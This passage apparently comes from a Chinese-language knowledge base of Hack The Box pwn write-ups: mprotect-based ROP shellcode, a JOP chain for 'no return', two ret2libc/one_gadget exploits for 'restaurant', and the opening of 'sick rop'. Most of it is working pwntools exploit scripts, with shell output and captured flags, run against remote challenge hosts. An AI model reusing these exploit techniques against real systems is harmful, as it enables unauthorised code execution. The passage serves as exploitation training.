d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}$ 
[*] Interrupted
HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}[*] Closed connection to 188.166.173.208 port 31589
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting12.jpg)
<!-- kb:end hunting -->

</details>

<a id="case-mprotect-and-shellcode"></a>

## 页权限与分段输入

两种方法分别向栈和指定内存写入 shellcode，mprotect 的页对齐、read 的输入等待和 gadget 数量影响最终执行。

<p class="kb-provenance">来源 mprotect-and-shellcode · 原记录 2021-09-14 · 7 个代码块 · 1 处图片引用</p>

<details class="kb-evidence" id="record-mprotect-and-shellcode">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start mprotect-and-shellcode -->

基于上个ROP exploit建立的,学习编写ROP chains的另一种方法, 而不是[using sys_execve to spawn a shell](https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/), 用sys_mprotect关掉NX保护, 并执行shellcode。  



[Mprotect()](http://man7.org/linux/man-pages/man2/mprotect.2.html)是一个设置内存区域访问权限的函数，它有3个参数; 起始地址、长度和掩码，其中包含该内存区域的新权限。 需要注意的是，起始地址必须是内存页的开始。 可以从[源代码](http://unix.superglobalmegacorp.com/Net2/newsrc/sys/mman.h.html)中获取掩码的值。 可以通过syscall调用mprotect()，参数设置如下;

EAX - 0x7B – sys_mprotect syscall number
EBX - Address of Memory to change (必须与页面边界对齐)
ECX - Length of memory to change
EDX - Mask of new permissions (READ|WRITE|EXECUTE is 0x07)

接下来要考虑的事情是打算如何编写shellcode到选择的位置，有一些选项，可能会或可能不会工作，取决于你试图利用的环境;  

1. 将shellcode写入堆栈，使用mprotect()使堆栈可执行，并直接跳转到payload。
2. 使用mprotect()使内存区域可写和可执行，然后使用另一种技术在跳转到该位置之前将shellcode写入该位置。
3. 使用mprotect使一个内存区域可执行，并写入一个stagger，它可以跳转到另一个内存区域或从别处获取shellcode。

#### 方法一

在所使用的示例中，没有方便的gadeget来处理堆栈，理想情况下，希望使用JMP ESP gadget来处理在不同执行环境中移动的堆栈地址。事实上，必须使用硬编码的堆栈地址，可能会有少量的nop，虽然足够简单，但这似乎不是一个特别优雅的exploit。

为了获得堆栈内存页的地址和大小，使用gdb的info proc mappings命令;

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/mprotect-and-shellcode.jpg)

这是对现有exploit的修改，使用了许多相同的gadget，所以不打算翻新基本的exploit。 使用mprotect()在内存段上设置权限的部分ROP exploit如下所示;  

``` bash
buffer += address(pop_eax)         # place value into EAX
buffer += littleendian(0x0000007D) # MProtect syscall number
 
buffer += address(pop_ebx)         # place value into EBX
buffer += address(target_memory)   # 0xFFFDD000
 
buffer += address(pop_ecx)         # place value into ECX
buffer += littleendian(0x00021000) # Length of memory to change
 
buffer += address(pop_edx)
buffer += littleendian(0x00000007) # PROT_READ|PROT_WRITE|PROT_EXEC
 
buffer += address(execute_syscall)
```

如果将shellcode和最后一个gadget的最终返回地址一起推入堆栈中。 理想情况下，最后一个返回地址应该是一个jmp esp，但这里没有这个选项，所以将使用硬编码地址代替。

``` bash
### Stack based Approach ###
buffer += address(shellcode_location)  # 0xFFFFD494
buffer += NOPS * 100                   # 0x90
buffer += payload                      # shellcode
```

使用标准的/bin/sh shellcode进行测试;

``` bash
(gdb) run < exploit
Starting program: /root/binary_challenge < exploit Show me what you've got  :>You've got: XXXX%�}process 3077 is executing new program: /bin/dash
# id
uid=0(root) gid=0(root) groups=0(root
```

虽然它可以工作，但它依赖于硬编码的堆栈地址和NOP，所以并不是很好。

#### 方法二

可以使用另一个write原语将shellcode写入程序内存中的某个位置，而不是将shellcode写入堆栈。 已经在.bss部分中找到了一个很好的候选位置，因此可以将target_memory变量设置为堆内存的起始位置0x0804A000。 现在必须决定如何开始写。 最简单(也是最低效)的方法是使用从pop eax; pop edx; mov eax (edx)中构建的write-what-where原语gadget在我们的第一个[exploit](https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/)。

这不是写大量数据的好方法，它在DWORD中表现得很好，但它增加的写开销非常大，写50字节的shellcode需要超过200字节的payload。 可以使用syscall来创建一个新的任意写原语，而不是将大量数据写入单个缓冲区;

[read()](http://man7.org/linux/man-pages/man2/read.2.html)函数从文件描述符(fd)获取数据，并将一些字符写入指定的内存位置，其原型如下:

``` bash
read(int fd, void *buf, size_t count);
```

可以使用syscall number 0x03来调用read()函数，给它文件描述符0来从stdin获取值，并将现在可执行内存位置设置为目标，需要预先计算shellcode的长度，但这是很容易做到的。

``` bash
### Heap Based Approach ###
buffer += address(pop_eax)
buffer += littleendian(0x00000003) # sys_read syscall number
 
buffer += address(pop_ebx)         # first argument
buffer += littleendian(0x00000000) # stdin file descriptor
 
buffer += address(pop_ecx)         # second argument
buffer += address(target_memory)   # address to write to
 
buffer += address(pop_edx)         # third argument
buffer += littleendian(len(payload)) # length of payload
 
buffer += address(execute_syscall) # do the read()
```

最后，需要跳转到新的shellcode

``` bash
buffer += address(target_memory) # jump to the payload
print(buffer)
```

当调用这个新的exploit时，需要在exploit之后立即发送payload，以便它在stdin缓冲区中等待read()函数。 把payload放到了一个单独的文件里;  

``` bash
root@kali:~# (cat exploit; cat payload) | ./binary_challenge
Show me what you’ve got
:>You’ve got: XXXX%�}#
#
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
```

如果在本地执行此操作，请记住将两个cat命令用大括号括起来，否则它们将一起运行，您的payload将在堆栈中而不是在输入缓冲区中结束。  

另一个浪费了几个小时时间的问题是，GDB不会更新内存段上的权限，所以如果认为mprotect失败了，要么检查strace中的返回值，要么在syscall返回时检查EAX寄存器。 0表示成功完成。 直到开始通过尝试执行NOPS进行测试，才意识到它表现得很好，尽管gdb说没有在堆段上设置执行权限。

#### 参考链接(译)

 - [ROP Exploit – MProtect() and Shellcode](https://failingsilently.wordpress.com/2017/12/17/rop-exploit-mprotect-and-shellcode/)
<!-- kb:end mprotect-and-shellcode -->

</details>

<a id="case-noreturn"></a>

## 无 ret 条件下的 JOP 调度表

原文从可泄漏栈的输入开始，寻找 dispatcher 与功能 gadget，逐步布置寄存器和调度表。最终脚本保留用于观察控制流的调试部分。

<p class="kb-provenance">来源 noreturn · 原记录 2021-01-05 · 8 个代码块 · 1 处图片引用</p>

<details class="kb-evidence" id="record-noreturn">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start noreturn -->

#### 详细过程及exp

no return 是一道极具挑战性的pwn，首先很容易的将这个程序逆向，输入一些内容来溢出它会泄露堆栈地址。

``` bash
int main()
{
    write(1, &return_address, 8);
    read(0, rsp-0xb0, 0xc0);
    __asm_volatile("add rsp, 0x8; jmp rsp");
}
```



在最后，它跳回了顶端，非常有趣，当搜索gadgets时，只有非常少量的以ret结尾的gadgets（只有一个不重合的gadget被ropper找到），因此这个挑战的名字叫no return，然而，ropper之后展示了很多以JOP结尾的gadgets，使我想到了JOP链。

网上没有很多关于JOP链的资源，下面是我自己用到的：

 - [Concept of Jump-Oriented-Programming JOP](https://security.stackexchange.com/questions/201196/concept-of-jump-oriented-programming-jop)
 - [Jump-Oriented Programming A New Class of Code-ReuseAttack](https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf)

在那之后也写了一篇非常基础的关于JOPs的文章在博客上

 - [Jump Oriented Programming and Call Oriented Programming JOP and PCOP](https://www.willsroot.io/2019/09/jump-oriented-programming-and-call.html)

基本的想法是一旦能使链移动，想让它跳转到dispatcher gadget然后设置一个dispatch表。那个dispatch表指向在寄存器上以一个跳转结束的gadgets，所以能使它返回到dispatcher，至于dispatcher gadget, 它的目的是使寄存器递增到指向下一个在dispatch表的gadget然后跳转到那儿，和平常一样dump出整个程序:

``` bash
0x401000: pop rsp
0x401001: pop rdi
0x401002: pop rsi
0x401003: pop rbp
0x401004: pop rdx
0x401005: pop rcx
0x401006: pop rbx
0x401007: xor rax,rax
0x40100a: jmp QWORD PTR [rdi+0x1]
0x40100d: inc rax
0x401010: fdivrp st(1),st
0x401012: jmp QWORD PTR [rdx]
0x401014: sub rsi,QWORD PTR [rsp+0x10]
0x401019: cmc
0x40101a: jmp QWORD PTR [rdx]
0x40101c: mov rcx,rsp
0x40101f: std
0x401020: jmp QWORD PTR [rdx]
0x401022: lea rcx,[rcx+rbx*8]
0x401026: std
0x401027: jmp QWORD PTR [rcx]
0x401029: xor rbp,rdx
0x40102c: setne ah
0x40102f: jmp QWORD PTR [rbp-0x17bc0000]
0x401035: add rsp,rsi
0x401038: fdivp st(1),st
0x40103a: jmp QWORD PTR [rdx]
0x40103c: add rbp,rbx
0x40103f: fwait
0x401040: jmp QWORD PTR [rbp-0x39]
0x401043: mov BYTE PTR [rdi-0x17bc0000],ah
0x401049: stc
0x40104a: jmp QWORD PTR [rdx]
0x40104c: pop rcx
0x40104d: mov rcx,rdx
0x401050: pop rdx
0x401051: jmp QWORD PTR [rcx]
0x401053: inc rcx
0x401056: fdivrp st(1),st
0x401058: jmp QWORD PTR [rdx]
0x40105a: xchg rdx,rax
0x40105c: fdivp st(1),st
0x40105e: jmp QWORD PTR [rcx]
0x401060: inc rbx
0x401063: fdivrp st(1),st
0x401065: jmp QWORD PTR [rdx]
0x401067: xchg rdi,rcx
0x40106a: std
0x40106b: jmp QWORD PTR [rdx]
0x40106d: push rsp
0x40106e: xor rax,rax
0x401071: inc rax
0x401074: xor rdi,rdi
0x401077: inc rdi
0x40107a: mov rsi,rsp
0x40107d: mov edx,0x8
0x401082: syscall
0x401084: sub rsi,0xb0
0x40108b: xor rax,rax
0x40108e: xor rdi,rdi
0x401091: lea rsi,[rsi]
0x401094: mov edx,0xc0
0x401099: syscall
0x40109b: add rsp,0x8
0x40109f: jmp QWORD PTR [rsp-0x8]
```

现在开始搜索一些gadgets,我们的终极目标是pop一个shell，使用明显的syscall gadget, 去找一个execve("/bin/sh", 0, 0)。

第一个看起来对控制寄存器初始化跳转和设置很有帮助。需要重设buffer基址的堆栈然后从那pop地址进寄存器，所以之后能影响控制流然后控制rdi跳转（和不重合的帮助）。

``` bash
0x401000: pop rsp
0x401001: pop rdi
0x401002: pop rsi
0x401003: pop rbp
0x401004: pop rdx
0x401005: pop rcx
0x401006: pop rbx
0x401007: xor rax,rax
0x40100a: jmp QWORD PTR [rdi+1]
```

如果在buffer的dispatch表之前使rbx 8和rbx point 8字节，以下会是很好的dispatcher gadget:

``` bash
0x40103c: add rbp,rbx
0x40103f: fwait
0x401040: jmp QWORD PTR [rbp-0x39]
```

在继续之前，重要的是注意到很多以下的gadgets都以rcx和rdx跳跃结尾，所以使它们指向回dispatcher gadget很重要。

为了设置 /bin/sh，下面两个gadgets会被用到:

``` bash
0x401067: xchg rdi,rcx
0x40106a: std
0x40106b: jmp QWORD PTR [rdx]
```

``` bash
0x40101c: mov rcx,rsp
0x40101f: std
0x401020: jmp QWORD PTR [rdx]
```

这两个都依赖rcx跳回dispatcher，rdx不需要被很好的保存。当它第一次pops 进入rcx，它获取了什么不重要。然后它会移动rdx(指向dispatcher)进到rcx.确保59 pop进入rdx。当这个xchg gadget被击中时, rdx会变成0（在第一次使用的pop链中rax被置空）然后rax会变成59.得到了dispatch表然后走到syscall gadget会打开一个shell。

这是最终的exploit代码（调试部分对观察程序流和jmp关系很重要）：

``` bash
from pwn import *
import sys

p = remote('167.99.86.47', int(sys.argv[1]))
#p = process('./no-return')
#context.log_level = 'debug'

#for debugging, attach when prompt for read, and then just hit step
stackleak = u64(p.recv(8))
log.info("Stack leak:" + hex(stackleak))
bufferbase = stackleak - 0xb0

payload = (p64(0x40103c) + p64(bufferbase-0x8-0x1) #rdi
    + p64(0) #rsi
    + p64(bufferbase+0x30+0x8+0x39) #rbp, remember to adjust to dispatch table, will do later, and make it 0x8 lower because of the add instruction
    + p64(bufferbase-0x8) #rdx
    + p64(bufferbase-0x8) #rcx
    + p64(0x8) #rbx, so it becomes good incrementation for dispatch table
    + "/bin/sh\x00" + p64(59) #rsp will point there, two pops until rdx, so that will be good
    + p64(0x401067) #dispatch to xchg gadget for rdi and rcx
    + p64(0x40101c) #mov rsp address to rcx
    + p64(0x401067) #restore dispatcher to rcx, mov /bin/sh to rdi
    + p64(0x40104c) #set rdx to 59
    + p64(0x40105a) #rdx to null, rax to rdx old rdi value, which is 59
    + p64(0x401099) #syscall
    + '').ljust(0xb0, 'A') + p64(0x401000) + p64(bufferbase)
p.sendline(payload)
p.interactive()
```

运行脚本获取flag:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/noreturn]
└─# python getshell.py 32664
[+] Opening connection to 178.62.0.100 on port 32664: Done
[*] Stack leak:0x7ffdebc61b20
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt
no-return
run_challenge.sh
$ cat 11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt
HTB{y0uv3_35c4p3d_7h3_v01d_0f_n0_r37urn}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb137.jpg)

<!-- kb:end noreturn -->

</details>

<a id="case-pwn-restaurant"></a>

## 两阶段 ret2libc 与接收时序

菜单执行一次即退出，需要先通过 GOT 泄漏再回到易受攻击函数。原文保留 64 位输入空字节、puts 地址和收发等待问题。

<p class="kb-provenance">来源 pwn-restaurant · 原记录 2021-05-08 · 18 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-pwn-restaurant">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pwn-restaurant -->

#### 详细过程及exp - 1

这道题通常的pwn题没什么两样。和以前的问题不同的是，菜单不会重复。只要做出一次选择，binary就会结束。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant]
└─# file restaurant
restaurant: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=34d48877c9e228a7bc7b66b34f0d4fa6353d20b4, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant]
└─# checksec restaurant
[*] '/root/hackthebox/challenge/pwn/pwn_restaurant/restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```



这里关系到full relro, NX 开启。而且，libc已经给了，所以可以用oneshot来写。

只要输入1就可以填满食物，输入2就可以选择喝的东西。输入1时，

下面是ghidra中的伪代码

``` bash
void fill(void)

{
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  color("\nYou can add these ingredients to your dish:","green",&DAT_00401144);
  puts("\n1. 🍅\n2. 🧀");
  color("You can also order something else.\n> ","green",&DAT_00401144);
  read(0,local_28&,0x400);
  printf("\nEnjoy your %s",&local_28);
  return;
}
```

local_28(0x20)可以输入0x400，所以只要往这里overflow就可以了。

找到了libc base值后，就用oneshot打就可以了。

 - 下面先在ghidra中找地址:

undefined8 main(void)

``` bash
00400f68 55              PUSH       RBP
所以：
main = 0x0000000000400F68
```

``` bash
void __libc_csu_init(EVP_PKEY_CTX *param_1,undefined8 param_2,undefined8 param_3)

{
  long lVar1;
  
  _init(param_1);
  lVar1 = 0;
  do {
    (*(code *)(&__frame_dummy_init_array_entry)[lVar1])((ulong)param_1 & 0xffffffff,param_2,param_3)
    ;
    lVar1 += 1;
  } while (lVar1 != 1);
  return; // 双击此处
}
```

``` bash
004010a2 41 5f           POP        R15
004010a4 c3              RET
所以：
prdi = 0x00000000004010a3
```

双击.got，然后往下翻即可看到PTR_puts_00601fa8

``` bash
                        PTR_puts_00601fa8                               XREF[1]:     puts:00400650  
00601fa8 00 30 60        addr       puts                                             = ??
            00 00 00 
            00 00
所以：
putsgot = 0x0000000000601FA8
```

在functions中双击puts函数即可

``` bash
00400650 ff 25 52        JMP        qword ptr [->puts]                               int puts(char * __s)
            19 20 00
所以：
puts = 0x0000000000400650
```

双击.bss

``` bash
bss = 0x0000000000602800
```

在functions中双击fill函数即可

``` bash
00400e4a    55          PUSH       RBP
所以：
fill = 0x0000000000400E4A
```

在fill函数中定位: read(0,&local_28,0x400);

``` bash
00400ebc 48 8d 45 e0     LEA        RAX=>local_28,[RBP + -0x20]
所以：
read = 0x0000000000400EBC
```

 - getshell.py

``` bash
# please use python2.7

from pwn import *
import argparse

main = 0x0000000000400F68
prdi = 0x00000000004010a3
putsgot = 0x0000000000601FA8
puts = 0x0000000000400650
bss = 0x0000000000602800
fill = 0x0000000000400E4A
read = 0x0000000000400EBC

def exp():
    p.sendlineafter("> ", "1")

    payload = ""
    payload += "A"*0x20
    payload += p64(bss)
    payload += p64(prdi)
    payload += p64(putsgot)
    payload += p64(puts)
    payload += p64(main)

    p.sendafter("> ", payload)

    p.recvuntil("A"*0x20)

    puts_g = u64(p.recv(6) + "\x00\x00")
    print "puts_g address:", hex(puts_g)
    libc = puts_g - 0x80aa0
    print "libc address:", hex(libc)
    oneshot = libc + 0x4f432
    print "oneshot address:", hex(oneshot)

    p.sendlineafter("> ", "1")

    payload2 = ""
    payload2 += "B"*0x20
    payload2 += p64(bss)
    payload2 += p64(read)
    p.sendafter("> ", payload2)

    #p.recvuntil("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB")
    raw_input()
    payload3 = "C"*0x28
    payload3 += p64(oneshot)

    p.send(payload3)
    print "[+] You Have Successfully Got The shell..."
    p.interactive()

if __name__ == '__main__' :
    context.arch = 'amd64'
    #context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    p = remote("46.101.5.30", 32022)
    exp()
```

运行脚本，得到flag:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant]
└─# python getshell.py                                                                                                                            
[+] Opening connection to 46.101.5.30 on port 32022: Done
puts_g address: 0x7fb82ace4aa0
libc address: 0x7fb82ac64000
oneshot address: 0x7fb82acb3432

[+] Successfully Got The shell:
[*] Switching to interactive mode

Enjoy your BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Enjoy your CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC24�*\xb8\x7f$
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
flag.txt
libc.so.6
restaurant
run_challenge.sh
$ cat flag.txt
HTB{r3turn_2_th3_r3st4ur4nt!}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/restaurant-pwn.jpg)

#### 详细过程及exp - 2
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant]
└─# file restaurant 
restaurant: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=34d48877c9e228a7bc7b66b34f0d4fa6353d20b4, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant]
└─# checksec restaurant
[*] '/root/hackthebox/challenge/pwn/pwn_restaurant/restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

#### 2. Run binary in GDB chose the first option and input 44B of data:

One thing to notice, data cannot be bigger than 44B, because it will overwrite the RSP register, thus breaking the stack frame.

Although this gives the ability to take control of only the first 4 bytes of the RIP register, which is not enough to spawn the shell since NX bit is enabled

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/restaurant-pwn1.jpg)

First phase exploit.py

``` bash
from pwn import *

p = process("./restaurant")
gdb.attach(p,'''c
''')
p.sendline("1")
p.recv()
p.sendline("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaAAAABBBB")
p.recv()

p.interactive()
```

#### 3. Control full 8 Byte return address:

As being said if data is bigger than 44B it breaks the stack frame by overwriting the RSP register and after the RET instruction, binary crash.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/restaurant-pwn2.jpg)

(1) There are some trash bytes in the RSP register.

In order to get rid of them, use the \x00 (null byte) at the end of the input and (2) RET instruction will follow the instruction from RSP register.

Chose an instruction to follow from the binary f.e. 0x0000000000400f75 which is in fact <+13>: call 0x400dfd <setup> in main()

Set a breakpoint at this address and send the payload

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/restaurant-pwn3.jpg)

#### 4. ASLR bypass:

ASLR does not affect the base address of the restaurant binary.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/restaurant-pwn4.jpg)

The libc library used on the target machine was made available in the challenge package. To calculate the base libc address, it will be needed to be leaked puts() address from libc during binary execution and its dynamic symbol address from libc before execution.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant]
└─# objdump -T libc.so.6 | grep puts
0000000000080aa0 g    DF .text  0000000000000200  GLIBC_2.2.5 _IO_puts
0000000000080aa0  w   DF .text  0000000000000200  GLIBC_2.2.5 puts
0000000000126550 g    DF .text  00000000000004d8  GLIBC_2.2.5 putspent
0000000000128460 g    DF .text  00000000000002ee  GLIBC_2.10  putsgent
000000000007f2d0  w   DF .text  000000000000018c  GLIBC_2.2.5 fputs
000000000007f2d0 g    DF .text  000000000000018c  GLIBC_2.2.5 _IO_fputs
000000000008a710  w   DF .text  000000000000008f  GLIBC_2.2.5 fputs_unlocked
```

There is a possibility to redirect the execution to puts() (which is not affected by ASLR) and leak the puts_got address from libc after randomization, thus bypassing ASLR security.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/restaurant-pwn5.jpg)

#### 5. NX bit bypass:

Since there is NX bit enabled, shellcode on stack won't work, but there is libc delivered with the restaurant binary which can be used for the ROP gadget# or one_gadget as described in the [PWN Format challenge - HTB](https://karol-mazurek95.medium.com/pwn-format-challenge-htb-3a7e6351ff3a).

Additionally rsp+0x40 has to be set to \x00

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant]
└─# objdump -T libc.so.6 | grep puts
one_gadget libc.so.6
0000000000080aa0 g    DF .text  0000000000000200  GLIBC_2.2.5 _IO_puts
0000000000080aa0  w   DF .text  0000000000000200  GLIBC_2.2.5 puts
0000000000126550 g    DF .text  00000000000004d8  GLIBC_2.2.5 putspent
0000000000128460 g    DF .text  00000000000002ee  GLIBC_2.10  putsgent
000000000007f2d0  w   DF .text  000000000000018c  GLIBC_2.2.5 fputs
000000000007f2d0 g    DF .text  000000000000018c  GLIBC_2.2.5 _IO_fputs
000000000008a710  w   DF .text  000000000000008f  GLIBC_2.2.5 fputs_unlocked

0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

Added one-second sleep between sending and receiving data to mitigate connection issues. The script counted addresses faster than obtained data.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/restaurant-pwn6.jpg)

#### 6. Final exploit:

``` python
from pwn import *
import time
context.arch = "amd64"
#context.log_level = 'debug'
elf = ELF("./restaurant")

#p = process("./restaurant") 
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so") # local exploit
#rop = ROP("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
#gdb.attach(p,'''b * 0x00000000004010a3
#c''')

p = remote("188.166.173.208", 31974)
libc = ELF("./libc.so.6") # remote exploit

# Leaking libc base => puts() + main() + puts@got ---
print("\n--- Leaking puts:")
puts_got = elf.got["puts"] # got entry for puts()
puts_plt = elf.plt["puts"] # puts() from binary
pop_rdi_ret = 0x00000000004010a3 # pop rdi; ret 
main_addr = elf.symbols["main"]
log.success("puts@got address: 0x%x" %(puts_got))
p.sendline("1")
p.recv()

# 1st ROP - [set rdi => arg1 for puts] [arg1 = puts@got] [call puts] [ret to main]
p.sendline("A"*40 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr))
time.sleep(1)
leak = p.recv()
l = leak.find("\xa3\x10\x40") + 3 
puts_libc = u64(leak[l:l+6].ljust(8,"\x00"))
log.success("Puts addr from libc: " + hex(puts_libc))
print("\n --- Calculating libc base:")
base_libc = puts_libc - 0x0000000000080aa0
log.success("Base libc addr: " + hex(base_libc))

# ---
# Calculating one_gadget and overflowing again to its address ---
one_gadget = base_libc + 0x4f432
p.sendline("1")
p.recv()
p.sendline("A"*40 + p64(one_gadget) + "\x00"*0x50)
time.sleep(1)
p.recv()

# ---
p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/pwn_restaurant]
└─# python pwnexp.py 
[*] '/root/hackthebox/challenge/pwn/pwn_restaurant/restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 188.166.173.208 on port 31974: Done
[*] '/root/hackthebox/challenge/pwn/pwn_restaurant/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

--- Leaking puts:
[+] puts@got address: 0x601fa8
[+] Puts addr from libc: 0x7fb91db82aa0

 --- Calculating libc base:
[+] Base libc addr: 0x7fb91db02000
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
flag.txt
libc.so.6
restaurant
run_challenge.sh
$ cat flag.txt
HTB{r3turn_2_th3_r3st4ur4nt!}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/restaurant-pwn7.jpg)
<!-- kb:end pwn-restaurant -->

</details>

<a id="case-sick-rop"></a>

## read 返回值与 sigreturn frame

可用 gadget 不足时，原解法利用 read 返回值设置 RAX，再以 SigreturnFrame 配置寄存器。mprotect 页范围及第二段跳转完整保留。

<p class="kb-provenance">来源 sick-rop · 原记录 2021-01-11 · 18 个代码块 · 16 处图片引用</p>

<details class="kb-evidence" id="record-sick-rop">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start sick-rop -->

#### 详细过程及exp - 1

与任何二进制利用挑战一样，首先在二进制文件上运行checksec，以查看启用了哪种保护。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# checksec sick_rop
[*] '/root/hackthebox/challenge/pwn/sickrop/sick_rop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

发现NX是启用的，这实际上意味着不能执行堆栈的内容部分。但是，还发现PIE没有启用，这意味着主二进制文件在内存中有一个从地址0x400000开始的静态位置。打开IDA中的二进制文件并分析它，以了解它的功能。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop.jpg)

看到二进制很简单。它运行一个无限循环，调用一个名为vuln的函数。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop1.jpg)

vuln函数从标准输入读取768 (0x300)字节到位于rsp-0x20的缓冲区，然后将相同的缓冲区写回标准输出。因此，可以得出结论，可以在偏移量0x20处溢出缓冲区。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop2.jpg)

read函数非常简单，只调用sys_read系统调用。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/sickrop3.jpg)

write函数非常直接，只调用sys_write系统调用。

然而，由于NX启用了二进制文件，不能直接执行栈的内容，因此必须使用其他方法，如ROP gadget。拿出选择ROP gadget(在本例中是ropper)并加载sick_rop二进制文件。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/sickrop]
└─# ropper
(ropper)> file sick_rop
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
